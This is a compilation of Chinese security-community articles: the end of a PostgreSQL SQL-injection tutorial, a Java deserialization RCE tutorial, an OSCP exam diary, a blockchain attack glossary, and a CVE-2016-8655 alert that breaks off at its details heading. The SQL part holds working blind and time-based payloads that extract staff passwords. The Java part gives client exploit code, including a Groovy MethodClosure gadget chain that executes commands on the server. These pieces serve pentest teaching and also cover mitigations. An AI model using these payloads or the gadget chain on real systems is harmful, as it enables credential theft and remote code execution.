例如，使用LENGTH函数： `dvdrental=# SELECT address FROM address OFFSET 0;`将返回：
47 MySakila Drive
28 MySQL Boulevard
23 Workhaven Lane
1411 Lillydale Drive
1913 Hanoi Way
1121 Loja Avenue
692 Joliet Street
1566 Inegl Manor
53 Idfu Parkway
1795 Santiago de Compostela Way
900 Santiago de Compostela Parkway
478 Joliet Way
613 Korolev Drive
1531 Sal Drive
1542 Tarlac Parkway
因此，我们现在可以按照以下方式进行操作： `SELECT address FROM address OFFSET 0|(SELECT
LENGTH((SELECT username FROM staff WHERE username SIMILAR TO 'M%')));`
1913 Hanoi Way
1121 Loja Avenue
692 Joliet Street
1566 Inegl Manor
53 Idfu Parkway
1795 Santiago de Compostela Way
900 Santiago de Compostela Parkway
478 Joliet Way
613 Korolev Drive
1531 Sal Drive
1542 Tarlac Parkway
因此，我们可以看到输出中的前四行已被删除，这意味着工作人员表中以 "M"开头的用户名长度为4个字符。
此外，基于OFFSET子句是否删除行，我们可以逐字节地尝试增加字符。像这样： `SELECT address FROM address OFFSET
0+(SELECT LENGTH((SELECT password FROM staff WHERE password SIMILAR TO '8%'
LIMIT 1)));`
这样会将要删除的行数设置为0 +（以“
8”开头的密码长度），因此，如果存在以8开头的密码，我们将看到返回的行数有所不同。这可以用来进一步检查每个字节，直到我们检索到整个密码值为止。
### HAVING
此参数接受一个条件，因此我添加了一个`AND`运算符以使之必须都为真，然后添加了条件，该条件将使我们可以逐字节对值进行暴力破解。
`t' AND (SELECT COUNT((SELECT password FROM staff WHERE password SIMILAR TO
'8%' LIMIT 1))) = 1; -- -`
同样，如果未显示输出，则可以使pg_sleep（）函数的大部分时间睡眠（如果为true）20秒钟，并使用它来确定条件输出。
## 快速测试漏洞
这些都是可以用于参数测试漏洞的导致应用程序进入睡眠状态并延迟响应时间并且快速有效payload。如果服务器响应时间随着有效负载而增加了明显的时间（大约20秒），则意味着应用程序容易受到攻击。
### SELECT
如果parameter是整数：
`pg_sleep(20); -- -`
如果参数是字符串：
`'||pg_sleep(20); -- -`
### FROM
**仅当有效负载的第一个SELECT子句中提供了有效的表名(TABLE)和列(COLUMN)时，这才有效**
(SELECT * FROM [TABLE] WHERE [COLUMN]=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
或者
(SELECT * FROM [TABLE] WHERE [COLUMN] = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
最后的"ss"是必要的，但可以是任何非保留字.
#### 当已知列需要一个Int
示例：
(SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
完整查询
SELECT address FROM (SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
#### 当已知列需要字符串时
示例:
(SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
完整查询：
SELECT address FROM (SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
### WHERE
如果parameter是整数：
1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END)); -- -
如果parameter是字符串:
'||(pg_sleep(20)); -- -
### ORDER BY
**注意，此操作实际上不会更改依赖于布尔型输出的输出顺序，因此一定要触发pg_sleep(20)**
(SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN true ELSE false END); -- -
### HAVING
如果parameter是整数：
(COUNT((SELECT pg_sleep(20)))=1); -- -
如果parameter是字符串：
t' AND (SELECT COUNT((SELECT pg_sleep(20)))) = 1; -- -
### OFFSET
如果parameter是整数：
1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -
如果parameter是字符串，请使用":: integer"将值转换为int字符串，然后使用与上述相同的有效负载(*tricks)
1'::integer + 1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -
## 结论
总之，尽管我注意到该特定引擎缺少公开的SQL注入有效负载，但许多技术和方法已从其他DBMS转移到了postgreSQL。
正如我以前从未接触过postgreSQL一样，我认为这将是一个很好的机会，可以扩展我的技术知识，并且使自己熟悉此DBMS可能具有，而其他DBMS则不可能具有的功能。
## 参考文献
* <https://www.postgresql.org/docs/9.5/sql-select.html>
* <https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf>
PS:
本文为翻译文章:
原文链接:[pentesting-postgresql-with-sql-injections](https://www.onsecurity.io/blog/pentesting-postgresql-with-sql-injections/) | 社区文章 |
本文为翻译文章，原链接为：<https://medium.com/cisco-amp-technology/remote-code-execution-for-java-developers-84adb8e23652>
原repo为：<https://github.com/Cisco-AMP/java_security>
这篇文章是为了成为JAVA开发者去往安全的一个入门指南。很多计算机安全里的论点和攻击依赖于一些不熟悉的技术（例如计算机体系结构，asm等）的深入了解。有时这会有点压力。我们将会看到一些安全漏洞和攻击利用可以使用简单的JAVA代码执行远程代码执行漏洞。
首先我们将会回顾一些相关的JAVA特性（多态，序列化和反射）。然后我们将深入演示使用这些功能执行特定的JAVA安全漏洞。最后我们将讨论如何将你的JAVA代码更加安全。
## JAVA特性回顾
### 多态
多态或者“一个接口，多个实现”这都是作为面向对象语言的重要特性。JAVA通过接口，抽象类和具体类来支持这种特性。
java.util.Map接口是一个不错的案例。一个类必须实现这个接口才能成为一个Map。JAVA标准库也包含了一些类似的实现接口，像java.util.HashMap或它的线程安全的等同类java.util.concurrent.ConcurrentHashMap。再一次的重申，一个接口多个实现。
我们甚至可以写出自己的Map实现。
public class IntegerToStringMap implements Map<Integer, String> { ... }
如果我们发现IntegerToStringMap具有我们想要重用的功能，那么我们可以扩展它以进行更多的Map实现。
public class AnotherMap extends IntegerToStringMap { ... }
public class YetAnotherMap extends IntegerToStringMap { ... }
如果我们想防止这种扩展行为呢？JAVA允许使用关键字final来停止对该类的继续扩展。
public final class IntegerToStringMap implements Map<Integer, String> { ... }
这将使得AnotherMap和YetAnotherMap停止被JAVA编译器或JVM接受。
如果使用多态类？继续以Map为例，JAVA中的多态允许我们写如下的代码：
void useMap(Map<Integer, String> m) { ... }
IntegerToStringMap map1 = new IntegerToStringMap();
HashMap<Integer, String> map2 = new HashMap<>();
useMap(map1);
useMap(map2);
这非常有用因为我们在写userMap()方法的使用根本不会在意哪个Map接口被实现了。
### 序列化
序列化是将结构化数据（JAVA中的对象）转换为字节数组的行为。然后程序能够通过逆转的过程恢复结构化数据（反序列化）。由于序列化很常见，因此有一些标准技术可以提供帮助。JAVA中可以通过java.io.Serializable接口和java.io.ObjectOutputStream类核java.io.ObjectInputStream类即可实现序列化机制。
如果你像如下创建一些实现Serializable的接口的类：
public class Example implements Serializable {
private Integer attribute;
public Example(Integer attribute) { this.attribute = attribute; }
public Integer getAttribute() { return attribute; }
}
那么它可以进行如下的序列化和反序列化：
// serialization
Example example1 = new Example(1);
ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteStream).writeObject(example1);
byte[] bytes = byteStream.toByteArray();
// deserialization
ObjectInputStream stream = new ObjectInputStream(new ByteArrayInputStream(bytes));
Example example2 = (Example) stream.readObject();
在如上的代码中，将尝试对整个对象example1进行序列化。对象中的所有内容都必须是实现了Serializable类型或者基本类型（long，byte[]等）。该Example类有一个单一的Integer数据字段。Integer实现了Serializable，并且Integer包含了一个int字段。所以这种情况下的example1对象是可以被成功序列化的。
### 反射
反射是这个教程中最难的了。这是一个比较高级的功能集但在JAVA应用中不是很常用。我记得Mark Reinhold和Alex
Buckley在他们使用Java反射API的情况下向Java开发人员询问是否使用过，大部分他们都是没举手的。
在一个demo服务器代码中反射是不需要的。但是我们将会使用反射创建一个利用代码。
反射是一种元变成，它允许你在运行时获取有关程序的信息甚至修改程序的每个部分。一种简单使用反射的方法是来获取你的程序的相关注释信息。假设我们有如下的注解定义和使用方法。
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface CustomAnnotation {
public String value() default "";
}
@CustomAnnotation("Hello")
public class TestClass { ... }
那么你将会使用如下代码来获取处于运行时的TestClass注释信息
CustomAnnotation annotation = TestClass.class.getAnnotation(CustomAnnotation.class);
if (null != annotation){
String annotationValue = annotation.value();
}
通常来说，你可以通过反射API做一些更厉害的事。另一个我们稍后会演示的样例会在运行时实现一个接口。这里是你如何通过java.util.Collection来实现一个反射。
Collection dummyCollection = (Collection) Proxy.newProxyInstance(
Main.class.getClassLoader(), new Class<?>[]{Collection.class},
(proxy, method, args) -> {
// perform custom actions for the method that was called
return null;
}
);
上面的代码片段中的dummy的Lambda实现了java.lang.reflect.InvocationHandler接口。它是每个方法在做调用时都会调用的代码，它必须决定如何处理每个不同方法的调用。
## 远程代码执行Demo
## 服务器设置
这个demo是建立在一个web服务器上，它可以接受且反序列化submission类。这个submission类没什么特别的，如下是com.cisco.amp.server.Submission的片段代码。
public class Submission implements Serializable {
private final Collection<String> values;
public Submission(Collection<String> values) {
this.values = values;
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
for (String entry : values) {
sb.append(entry);
sb.append("\n");
}
return sb.toString();
}
}
这个类实现了Serializable接口以允许Submission类对象可以在网络上进行传输。所以这个服务器可以通过HTTP请求来接受字节流然后序列化成Submission实例对象。这个com.cisco.amp.server.SubmissionController中的submit()方法写了如下的代码：
@PostMapping("/submit")
public String submit(HttpServletRequest requestEntity) throws IOException, ClassNotFoundException {
byte[] bytes = IOUtils.toByteArray(requestEntity.getInputStream());
ObjectInputStream stream = new ObjectInputStream(new ByteArrayInputStream(bytes));
Submission submission = (Submission) stream.readObject();
return submission.toString();
}
在真实的应用中一定很多复杂的逻辑，这里是非常简单的。我们反序列化了输入字节，对这个对象做了一些操作（样例中是toString）并且返回了HTTP响应包。
但是这个很小的服务端代码足够引起一个漏洞。问题是在于没有验证用户输入，我们直接拿了用户传入的字节然后期望是我们想要的那个东西，也就是一个Submission的实例对象。
### 利用加强
我们将会建立一个客户端用来向服务器发送攻击利用代码。我们的目标是让服务器启动计算器这个应用，这是个经典案例。这个想法是你可以让计算器执行的话，就意味着你可以执行任意程序。例如，执行一些可以对攻击者有用的远程shell的应用。
通过构造一个特殊的submission对象，我们应该可以滥用固有的信任。这就是多态和反射发挥作用的地方。我们将通过使用这两个特性欺骗服务器执行我们的代码。
### 多态攻击利用（尝试）
首先，注意到Submission类有一个Collection\<string>成员。因为Collection是一个接口。实际上它并不关心Collection是什么类型实现，任何实现都可以。这有一定道理，因为结果是一样的。ArrayList\<string>，HashSet\<string>或其他一些Collection接口的实现导致的结果都一样。如果不是一个正常的Collection接口实现呢？如果一个攻击者提交了一个带有一些自定义操作的Collection呢？这确实是他们要做的。</string></string></string>
这篇文章的接下来部分会使用如下的客户端代码（完整代码在github上）：
Submission submission = new Submission(makeExploitCollection());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(submission);
byte[] bytes = byteArrayOutputStream.toByteArray();
HttpEntity<byte[]> entity = new HttpEntity<>(bytes);
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> response = restTemplate.postForEntity("http://localhost:8080/submit", entity, String.class);
System.out.println(response.getBody());
这就是创建了一个Submission实例，序列化后发给了服务器。我们要聊的有趣的地方是makeExploitCollection()这个方法。
首先我们将提到服务器会调用Collection里的自定义代码，这种情况下，Collection中的会被服务器调用的方法是可以被我覆写的。注意到服务器进行了Submission::toString的调用。
public String toString() {
StringBuilder sb = new StringBuilder();
for (String entry : values) {
sb.append(entry);
sb.append("\n");
}
return sb.toString();
}
上述的for-each语法中，for(String
entry:values)隐藏调用了Collection::iterator。因此如果我们使用自定义代码实现Collection::iterator，服务器就会运行我们的自定义代码。如果我们扩展了ArrayList\<string>并覆写了这个方法的话就会很简单。注意ArrayList实现了Serializable接口，所以我们的扩展也同样实现了Serializable接口。一下代码会在服务器运行时启动计算器应用。</string>
private static Collection<String> makeExploitCollection() {
return new ArrayList<String>(){
@Override
public Iterator iterator() {
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
}
return null;
}
};
}
但是如果我们尝试将此利用代码发到服务器，我们会遇到一些问题。服务器会打印堆栈错误。
java.lang.ClassNotFoundException: com.cisco.amp.client.Client$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:382) ~[na:1.8.0_191]
...
at com.cisco.amp.server.SubmissionController.submit(SubmissionController.java:22) ~[classes!/:0.0.1-SNAPSHOT]
...
错误信息com.cisco.amp.client.Client$1来自于我们在客户端内创建的匿名类。这里就是说服务器不能找到com.cisco.amp.client.Client$1的对应字节码。
我们再看一下我们发给服务端的内容。这是漏洞利用中的String的渲染结果。
��sr com.cisco.amp.server.Submission>��1_G�LvaluestLjava/util/Collection;xpsr
com.cisco.amp.client.Client$1�w�:-��xrjava.util.ArrayListx��
��a�Isizexpwx
我们可以看到我们使用的类的引用，带了一些数据。但是这些类的字节码并没有发送。JAVA反序列化使用类加载器尝试查找这些类的字节码，在这种情况下，java.net.URLClassLoader实例正在搜索类路径上jar文件以找到com.cisco.amp.client.Client$1.它在找不到这个类的时候抛出上述异常。
这意味着我们的漏洞利用代码无法以其当前形式运行。服务器需要能够访问并执行我们的漏洞利用代码才能工作。这可以通过使用服务器已有的类来完成。在下一章节中我们将看到如何使用反射完成漏洞利用。
### 多态和反射的漏洞利用
继续我们将假设服务器有如下的依赖环境
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.0</version>
</dependency>
考虑到现代web是库构建成的，引进库的依赖会使得这一切变得更加简单。
这个想法是使用反射来实现我们利用Collention，所以利用利用代码应该像如下：
private static Collection<String> makeExploitCollection() {
Collection exploitCollection = (Collection) Proxy.newProxyInstance(
Client.class.getClassLoader(), new Class<?>[]{Collection.class}, ?????InvocationHandler?????
);
return exploitCollection;
}
这里的Collection是由java.lang.reflect.Proxy反射实现的。这可以起作用是因为Proxy实现了Serializable，并且它在服务器的classpath中，但我们仍需要一个InvocationHandler的实现。
记住我们不能自顾自实现，我们要在服务器上使用代码对此进行利用。groovy-all的依赖性来源两个非常有用的类：org.codehaus.groovy.runtime.ConvertedClosure和org.codehaus.groovy.runtime.MethodClosure。ConvertedClosure实现了InvocationHandler，它有助于使用Closure（如JAVA
Lambda）构造它的类方法的反射实现。MethodClosure提供了Closure运行系统命令的实现（如启动计算器）。他们都实现了Serializable接口。
现在，我们的反射Collection实现，使用自定义Collection::iterator方法，可以像这样构造。
private static Collection<String> makeExploitCollection() {
MethodClosure methodClosure = new MethodClosure("/Applications/Calculator.app/Contents/MacOS/Calculator", "execute");
ConvertedClosure iteratorHandler = new ConvertedClosure(methodClosure, "iterator");
Collection exploitCollection = (Collection) Proxy.newProxyInstance(
Client.class.getClassLoader(), new Class<?>[]{Collection.class}, iteratorHandler
);
return exploitCollection;
}
注意我们不会为要执行的服务器创建新代码。我们只是组合了已有的类。
所有演示代码都在我们的repo中。如果你运行代码，那么服务器将启动计算器。当你运行它时，即使漏洞有效，也会在服务器日志中打印另一个异常。攻击者需要更好的利用来避免异常打印（如果需要隐身的话）。
## 服务器代码改进
我们已经成功演示了如何利用服务器漏洞。经过这样的联系后我们可以更好地了解通过阻止什么会使攻击更加困难。我们将在这里进行一些服务器代码修改，并简要描述如何使服务器缓解攻击的进行。
### 验证用户输入
在服务器代码中出现漏洞是因为没有验证用户输入。通常来说，这是你自己不想做的事。使用一个库或者框架可能会带来一些更好地结果但是也会带来另一面的你不想要的东西。但是，在这个情景下如下一些东西可能有一些帮助：
* 只能接收一个特殊的collection实现
* 确保Collection实现类和Submission类都是使用final定义的，确保不会被继承
* 不要在将要序列化的具体类的定义中使用泛型。我们在本练习中没有看到原因，但您可以在阅读有关Java类型擦除之后弄清楚。
* 无论如何，这份清单并非详尽无遗
这些建议的重点是防止攻击者提供自己设计的类。输入验证是一个非常重要的措施。适当的输入验证可以安全地防范其他常见攻击（例如SQL注入）。
### 避免JAVA序列化
这与验证用户输入有关。Java
Serialization是一种非常强大的序列化技术，具有许多功能。有一些更严格的序列化方法（例如JSON）通常也可以正常工作。
使用和验证更严格的序列化标准可以为攻击者提供更少的攻击成功几率。在演示中，包含数组的JSON将允许我们以Strings更安全的方式接受集合。此外，由于Java维护者希望删除JAVA序列化，因此看起来迟早需要这样做。
### 更好管理依赖关系
在演示中，我们使用类groovy-all来制作我们的漏洞。这对我们的服务器来说是不必要的依赖，这意味着它应该被删除。删除不必要的依赖项可以减少攻击者对其进行利用。您甚至可以移除一些JAVA的库，Java
9开始可以创建一个自定义的JAVA运行时库。
如果需要依赖，那么它应该保持更新。通常，只要仍然支持使用的主要版本，最新的版本都会进行错误修复。这也适用于groovy-all依赖。新版本包含的保障例如控制ConvertedClosure和MethodClosure不像演示中那样滥用。你可以在这里阅读有关groovy变化的内容。（<http://groovy-lang.org/security.html>）
### 使用更小的权限
如果您运行演示并查看进程树列表，那么它将看起来像这样。
mitch$ pstree -s "Calculator" | cat
...
\-+= 03193 mitch -bash
\-+= 38085 mitch /usr/bin/java -jar ./target/server-0.0.1-SNAPSHOT.jar
\--- 38105 mitch /Applications/Calculator.app/Contents/MacOS/Calculator
计算器由服务器启动，它作为服务器运行的同一用户运行。在这种情况下，它是我的个人帐户，因此攻击者可以做到我个人可以造成的伤害。如果服务器以root身份运行，则攻击者可以执行更多操作。如果服务器有自己的专用帐户，那么攻击者可以做得更少。 | 社区文章 |
# 2020我拿下了OSCP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2020年终于拿下了`OSCP`证书，关于`OSCP`认证是19年了解到的，由于当时工作比较忙就一直没有时间考，等到今年春节放假加上疫情就一直在家线上办公，有了空闲时间学习充电，在官网上报名的时候突然发现，考试费涨价了，并且教材内容也增加了……
## 报名
首先是在网上进行报名，这个流程参考了<https://www.freebuf.com/column/194605.html>
但是页面有升级，大致填写信息和流程相似，我报名的是30天lab花了`999`刀。报名交费后是不会马上拿到教材和视频的，要等到lab开始那天才可以拿到教材，于是这段空档期我在`GitHub`上找了些资源：
<https://github.com/OlivierLaflamme/Cheatsheet-God>
<https://github.com/Ignitetechnologies/Privilege-Escalation>
<https://github.com/rewardone/OSCPRepo>
<https://github.com/diego-treitos/linux-smart-enumeration>
<https://github.com/adon90/pentest_compilation>
这几个还都不错，可以作为学习前的预习准备。
## 学习
收到教材后先是初略的看了下大致内容，一共800多页25个章节，后面用了3天把教材过了一遍，因为心疼lab的费用，所以采取了边打lab边看教材的方式学习，这个过程很痛苦，也许是应该先把教材仔细看一遍比较好……
这个过程还是有些经验和大家分享的：
**1、一定要选一个顺手的笔记软件** ：我用的`VNote`没有什么特殊原因就是习惯了，不用安装加压即用；
**2、整理lab靶机笔记** ：整理笔记是要有技巧的，我会记录完整的`nmap`扫描记录，枚举服务的信息，判断漏洞的依据，使用及修改过的`exp`代码；
**3、整理命令列表** ：常用的命令我都会记录到单独的文档里，这在考试的时候会有帮助的，`Ctrl+c`、`Ctrl+v`快速复制使用很方便；
**4、整理常用工具** ：整理下常用的工具，当然kali里已经有了不少工具，但有些脚本还是要做好整理备份，考试的时候就不用现在网上搜索了。
前面说了这个过程变打靶机边看教材是很痛苦的，开始的时候进展很慢，靶机打了5、6台的时候基本把教材有看了一遍，熟悉了教材后靶机练习稍微好了一些，但是我只买了30天的lab，前面浪费了不少时间，后面基本草草的打了些没有依赖关系的靶机，没有打过lab的同学可能不知道什么叫`依赖关系`，简单来说就是当你要获得`B`主机权限的时候，你必须先拿下`A`，在`A`里面获得一些敏感信息才可以拿下`B`，当然lab里是不会告诉你这些依赖关系的，这就需要花时间去尝试。最终30天我拿下来28台靶机，也正是刚刚有了些感觉的时候lab时间就到了……
## 考试
`lab`时间到了后，状态刚好上来，就约了考试，我是在`lab`到期前一周约的考试，`lab`结束第二天考试。考前准备好了护照及摄像头，因为用的台式机需要加配一个摄像头。考试过程比较坎坷，监考通过摄像头和监控我的电脑桌面进行了考前身份核实，然后就悲剧了，我的网络连考试环境连不上，折腾了`3`个小时找了个香港线路才进了考试环境，这里要给官方点赞，再我说明了情况后考试时间给我延长了`3`小时。
我抽到的题目分值分别是`25+25+20+20+10`，好像所有人都是这个比例，我先做的是缓冲区溢出的题目，基本是按照教材里的步骤操作，用之前梳理好的命令列表复制粘贴提速，包括截图30分钟搞定了这25分（
**切记不要录屏，官方是不允许录屏的** ）。
拿下这`25分`后心情很好有点飘，不过当我把其他四台靶机做了全端口扫描后就不那么乐观了，确实发现了一些`web`端口，但访问之后基本都是`默认页面`。稳了稳心情开始新一轮`信息枚举`，这就很考验`细心`和`耐心`，终于还是发现了一些蛛丝马迹，现在回想起来毕竟是考试题，都是预置好的漏洞，只是藏得深一些而已。接下来顺利的拿下了一台`20`分的靶机和另一个`25`分的`user`权限。
考前我是做了些战术安排的，`70`分通过考试，也就是只能放弃`30`分的题目，结合自身的情况，我计划先拿`user`权限，因为提权不熟练尤其是`win`的提权，如果遇到我基本不会浪费时间去深搞。拿到`25`分的`user`权限后发现是台`win`高版本服务器，果断放弃提权，看另一台`20`分的靶机，同样也是拿到user权限后发现是win服务器……
这时有点慌了，因为前面吃饭和休息用掉了一些时间，剩下只有`5-6`个小时了，梳理了一下分数`25+20+25/2+20/2`大概拿到了`67.5`，当然这只是预估的分数，因为官方并没有说拿到`user`权限是给一半分数的，还有就是要结合考试完提交的英文书面报告才知道是不是能通过考试的。
洗了把脸后继续看靶机，这是我采取的策略是搞`10`分的靶机，从分值上看`10`分的应该是难度不大的，而且`10`分的靶机只要求提交`proof`文件，我才一定是可以直接获取`root`权限的，因为其他靶机的要求中都是提交`local`和`proof`两个文件，也就是说有`user`权限的可以获得`local`，那既然没要求`local`那就一定是直接`root`后获得`proof`了。
花了很长时间改`exp`代码终于拿到了`10`分靶机的权限，悲剧的是并非`root`权限，根本没有权限读取`proof`，这时距离考试结束只有`1`个小时了。尝试了很多方法都没有成功，最后还是转向了`win`提权，因为这部分平时工作中遇到的也不多，加上边打lab边看教材是有分心的，这部分也没仔细看，于是最后这一个小时基本是按照教材尝试所有的可能方法，本以为希望不大了，但还是在考试结束前`15`分钟拿下了`20`分的`system`权限，方法就在教材里。
最后`15`分钟我基本上是没有在看其他靶机了，因为我猜分数差不多够用了，撑着瞌睡把所有的截图都过了一遍，检查了每个拿到的`local`和`proof`，确定没有问题后监考结束了我的考试。
结束考试后就直接睡觉了，真的是太累了，没有参加过这种`24`小时考试的同学是无法体会的，睡醒后开始写报告，按照官方给的报告模板加上百度翻译，很快搞定了报告，检查了一遍后，就在线上传并邮件反馈。
三天后接到邮件通知通过考试，我这边和之前听其他同学说要等`10`多天才出考试结果的情况不大一致，不知道是不是现在出结果都很快了。
## 总结
对我来说我觉得考试难度还是不小的，毕竟要在`24`小时内完成`3-4`台靶机的渗透和提权，希望我的考试经历可以给大家一点启发和帮助。现在回想起来我的考前准备还是有一些不足的：
**1、教材没有细看** ：导致后面很多都是教材里的方法，我却浪费不很多时间；
**2、预判失误** ：对于那台10分的靶机预判失误，导致浪费时间不说，还没有拿到分数；
**3、心态不稳** ：找不到漏洞的时候会很心慌，没有领会try harder的精神。
现在回想自己应该是属于侥幸通过，后面还需要继续积累继续磨练。
后续我也会把我整理的资料发到<https://github.com/xuanhusec/OscpStudyGroup> 和大家分享。 | 社区文章 |
# 区块链安全入门笔记（五） | 慢雾科普
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
虽然有着越来越多的人参与到区块链的行业之中，然而由于很多人之前并没有接触过区块链，也没有相关的安全知识，安全意识薄弱，这就很容易让攻击者们有空可钻。面对区块链的众多安全问题，慢雾特推出区块链安全入门笔记系列，向大家介绍区块链安全相关名词，让新手们更快适应区块链危机四伏的安全攻防世界！
## 异形攻击 Alien Attack
异形攻击(Alien
Attack)实际上是一个所有公链都可能面临的问题，又称地址池污染，是指诱使同类链的节点互相侵入和污染的一种攻击手法，漏洞的主要原因是同类链系统在通信协议上没有对不同链的节点做识别。
这种攻击在一些参考以太坊通信协议实现的公链上得到了复现：以太坊同类链，由于使用了兼容的握手协议，无法区分节点是否属于同个链，利用这一点，攻击者先对以太坊节点地址进行收集并进行恶意握手操作，通过跟节点握手达成污染地址池的目的，使得不同链的节点互相握手并把各自地址池里已知的节点推送给了对方，导致更多的节点互相污染，最终扩散致整个网络。遭受异形攻击的节点通常会通信性能下降，最终造成节点阻塞、主网异常等现象。相关公链需要注意持续保持主网健康状态监测，以免出现影响主网稳定的攻击事件出现。
具体详情可参考慢雾安全团队技术 Paper：冲突的公链！来自 P2P 协议的异形攻击漏洞
## 钓鱼攻击 Phishing
所谓“钓鱼攻击(Phishing)”，指的是攻击者伪装成可以信任的人或机构，通过电子邮件、通讯软件、社交媒体等方式，以获取收件人的用户名、密码、私钥等私密信息。随着技术的发展，网络钓鱼攻击不仅可以托管各种恶意软件和勒索软件攻击，而且更糟糕的是这些攻击正在呈现不断上升的趋势。
2018 年 2 月 19 日，乌克兰的一个黑客组织，通过购买谷歌搜索引擎中与加密货币相关的关键词广告，伪装成合法网站的恶意网站链接，从知名加密货币钱包
Blockchain.info 中窃取了价值超过 5000
万美元的数字加密货币。而除了上述这种域名钓鱼攻击(即使用与官网相似的网址)外，其他类型的钓鱼攻击包括邮件钓鱼攻击、Twitter 1 for 10（支付
0.5-10ETH 返利 5-100ETH）、假 App 和假工作人员等。2019 年 6
月份，就有攻击者向多家交易所发送敲诈勒索信息，通过邮件钓鱼攻击获取了超 40 万美元的收益。
慢雾安全团队建议用户保持警惕，通过即时通讯
App、短信或电子邮件获取到的每条信息都需要谨慎对待，不要在通过点击链接到达的网站上输入凭据或私钥，在交易时尽可能的使用硬件钱包和双因素认证(2FA)，生态中的项目方在攻击者没有确切告知漏洞细节之前，不要给攻击者转账，若项目方无法准确判断和独自处理，可以联系安全公司协助处理。
## 木马攻击 Trojan Horse Attack
木马攻击(Trojan Horse Attack)是指攻击者通过隐藏在正常程序中的一段具有特殊功能的恶意代码，如具备破坏和删除文件、发送密码、记录键盘和
DDoS
攻击等特殊功能的后门程序，将控制程序寄生于被控制的计算机系统中，里应外合，对被感染木马病毒的计算机实施操作。可用来窃取用户个人信息，甚至是远程控制对方的计算机而加壳制作，然后通过各种手段传播或者骗取目标用户执行该程序，以达到盗取密码等各种数据资料等目的。
在区块链领域，诸如勒索木马、恶意挖矿木马一直是行业内令人头疼的安全顽疾，据币世界报道，随着比特币的飙升，推动整个数字加密货币价格回升，与币市密切相关的挖矿木马开始新一轮活跃，仅
2019 年上半年挖矿木马日均新增 6
万个样本，通过分析发现某些新的挖矿木马家族出现了快速、持续更新版本的现象，其功能设计越来越复杂，在隐藏手法、攻击手法方面不断创新，与杀软厂商的技术对抗正在不断增强。
## 供应链攻击 Supply Chain Attack
供应链攻击(Supply Chain
Attack)是一种非常可怕的攻击方式，防御上很难做到完美规避，由于现在的软件工程，各种包/模块的依赖十分频繁、常见，而开发者们很难做到一一检查，默认都过于信任市面上流通的包管理器，这就导致了供应链攻击几乎已经成为必选攻击之一。把这种攻击称成为供应链攻击，是为了形象说明这种攻击是一种依赖关系，一个链条，任意环节被感染都会导致链条之后的所有环节出问题。
供应链攻击形式多样，它可能出现在任何环节。2018 年 11 月，Bitpay 旗下 Copay
遭遇供应链攻击事件，攻击者的攻击行为隐匿了两个月之久。攻击者通过污染 EvenStream(NPM 包)并在后门中留下针对 Copay 的相关变量数值，对
Copay 发起定向攻击从而窃取用户的私钥信息。而就在2019 年 6 月 4 日，NPM Inc 安全团队刚与 Komodo
联手成功挫败了一起典型的供应链攻击，保护了超过 1300 万美元的数字加密货币资产，攻击者将恶意程序包放入 Agama
的构建链中，通过这种手段来窃取钱包应用程序中使用的钱包私钥和其他登录密码。
供应链攻击防不胜防且不计代价，慢雾安全团队建议所有数字加密货币相关项目(如交易所、钱包、DApp
等)都应该强制至少一名核心技术完整审查一遍所有第三方模块，看看是否存在可疑代码，也可以通过抓包查看是否存在可疑请求。 | 社区文章 |
# 【漏洞预警】CVE-2016-8655:Linux内核通杀提权漏洞（21:45更新POC）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
漏洞发现人：Philip Pettersson
漏洞编号：CVE-2016-8655
漏洞危害：高危，低权限用户利用该漏洞可以在Linux系统上实现本地提权。
影响范围：Linux内核（2011年4月19日发行）开始就受影响了，直到2016年11月30日修复。
**
**
**漏洞描述**
Philip Pettersson在Linux (net/packet/af_packet.c)发现条件竞争漏洞，可以让低权限的进程获得内核代码执行权限。
这个bug最早出现于2011年4月19号的代码中，详细请参考：
[https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a](https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a
"https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a")
它于2016年11月30号被修复，详细请参考：
[https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c
"https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c")
**漏洞细节**
